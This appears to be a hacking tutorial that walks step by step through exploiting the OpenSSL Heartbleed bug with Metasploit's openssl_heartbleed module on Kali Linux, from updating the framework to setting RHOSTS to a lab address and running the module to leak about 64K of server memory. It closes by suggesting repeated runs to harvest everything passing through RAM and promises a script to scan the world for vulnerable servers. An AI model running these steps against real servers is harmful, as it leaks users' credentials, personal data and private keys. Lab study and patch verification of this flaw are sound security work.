Exploit OpenSSL Vulnerability Using Metasploit

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs). This guide is specifically designed to show how to detect exploit openSSL Heartbleed vulnerability using Nmap and Metasploit on Kali Linux.


The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

Step 1: Update Metasploit

The first step is to update Metasploit to get the new auxiliary module for Heartbleed. Type:

         kali > msfupdate 

Metasploit will then go through the long and slow process of updating its modules and framework. Be patient here, it takes awhile.

When you are finally returned to the Kali prompt, the update has completed. 

  

Step 2: Start Metasploit

Now, we need to start the Metasploit console. At any terminal prompt, type:

         kali > msfconsole

You should be greeted with a screen like that below.

 

Step 3: Find Heartbleed

Now, we need to find the new Heartbleed module. We can use the built-in search feature in Metasploit. 

Type:

         search heartbleed

This should bring up two auxiliary modules for Heartbleed. Select the first one as I've highlighted below.

Step 4: Use Auxiliary Module

Next, we need to load this payload. Simply type:

         use auxiliary/scanner/ssl/openssl_heartbleed

This will load the heartbleed module.

Whenever I am using a new module, I like to look at the info page. Once we have loaded the module, type:

         msf > info

As we can see in the screenshot below, this reveals the options that need to set in order to use this  module and a description of the module.

Step 5: Set Options

Although this module has numerous options, the critical one is RHOSTS (notice the plural here). Let's set it to a target website I set up on my network that is still vulnerable to Heartbleed.

         msf > set RHOSTS 192.168.1.169

  

Step 6: Run the Module

Finally, set the option 'verbose" to "true". This will provide us with verbose output.

         msf > set verbose true

And now let's run it:

         msf > run

As you can see in the screenshot below, the server leaked about 64K bytes of what was in its memory.

 

Step 7: Success

If credentials, personally identifiable information (PII), or the server's private key had been in memory, they would have leaked out as well. Of course, we could set up this Heartbleed scanner to run repeatedly to gather the info in memory at a continual basis, eventually gaining access to all the info that traversed RAM.

In my next Heartbleed post, we will start working on a scanner script to scan the world for websites and servers still vulnerable to the Heartbleed vulnerability, so make sure to come back. While you're waiting, you can use your spare time to increase your skills in Metasploit by knowing all of the commands and hacking scripts available.